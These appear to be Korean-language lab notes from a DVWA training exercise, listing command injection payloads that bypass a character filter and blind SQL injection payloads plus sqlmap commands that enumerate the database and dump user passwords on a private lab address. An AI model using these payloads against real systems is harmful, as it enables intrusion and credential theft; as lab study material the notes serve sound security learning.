

192.168.5.2 && pwd
' && '를 사용 앞의 조건의 실행될 경우 뒤 조건 또한 실행된다.

192.168.5.2; pwd
' ; '을 사용하여 앞 명령의 결과별개로 뒷 명령에 영향을 주지 않는다

특징 : ' && ' , ' ; '를 null값으로 치환.
$substitutions = array( '&&' => '', ';' => '', );
192.168.5.2 | whoami
사용하면 앞이 조건, 뒤는 명령문
응용

&&& ls -l
&&& ls -l /usr/share
&&& ls -l /var/log
&&는 Null로 치환되고 & 하나 남아 실행된다.

|| whoami
or 연산자라 생각하면 편하다. 앞에서 거짓이 나와야 뒤의 whoami가 실행된다.

> $substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
); 


1' and substring((select distinct table_schema from information_schema.columns where 'table_schema!='information_schema' Limit 0,1), 1,1) = 'd' #
두번째 글자를 알아내려면?
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 2,1) = 'v' #

세번째 글자를 알아내려면?
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 3,1) = 'w' #



테이블이름 : table_name
DB이름 : table_schema
첫번째 테이블
두번째 테이블
select column_name from information_schema.columns where table_name='users';
1' and substring( (select column_name from information_schema.columns where table_name='users' limit 5,1),1,1)='p' #
1' and substring( (select column_name from information_schema.columns where table_name='users' limit 6,1),1,1)='u' #
사용법
sudo sqlmap -h // -h는 help
-u : url을 사용할 때
--cookie : cookie값을 입력할 때
--tables : 테이블 목록을 알고 싶을 때
--columns : 컬럼 목록을 알고 싶을 때
--dump : 메모리에서 값을 확인 할 때
-D DB명
-T Table명
-C 컬럼명
-SQLmap 문법 : sqlmap -u "URL" --cookie="쿠키값"
URL : http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#
쿠키값 : security=low; PHPSESSID=i1hc2p61nddlv3mnnkohfqe9ju
DB이름 알아내기
sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=i1hc2p61nddlv3mnnkohfqe9ju" --dbs

Table이름 알아내기
sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=i1hc2p61nddlv3mnnkohfqe9ju" -D dvwa --tables


Column이름 알아내기
sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=i1hc2p61nddlv3mnnkohfqe9ju" -D dvwa -T users --columns


user, password의 값을 알아내기
sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=i1hc2p61nddlv3mnnkohfqe9ju" -D dvwa -T users -C user,password -dump





